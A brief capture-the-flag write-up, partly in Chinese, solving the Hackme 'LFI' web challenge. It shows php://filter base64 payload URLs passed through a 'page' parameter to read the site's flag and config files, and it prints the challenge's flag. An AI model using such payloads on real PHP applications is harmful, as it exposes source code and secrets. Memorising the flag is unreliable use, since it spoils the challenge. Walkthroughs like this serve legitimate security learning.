【Hackme CTF】Web--LFI

Description:

What this admin’s password? That is not important at all, just get the flag.

Tips: LFI, php://filter

Solution:

其实见到LFI已经可以本能地知道这是考察本地包含了，查看源代码发现参数是page要读取pages/啥啥，直接用php://filter绕过读取本地文件
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
发现网页出现一行base64

base64解码得
Can you read the flag?
所以写网址为
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config
得到base64

base64解码得

    $flag = "FLAG{Yoooooo_LFI_g00d_2cXxsXSYP9EVLrIo}";
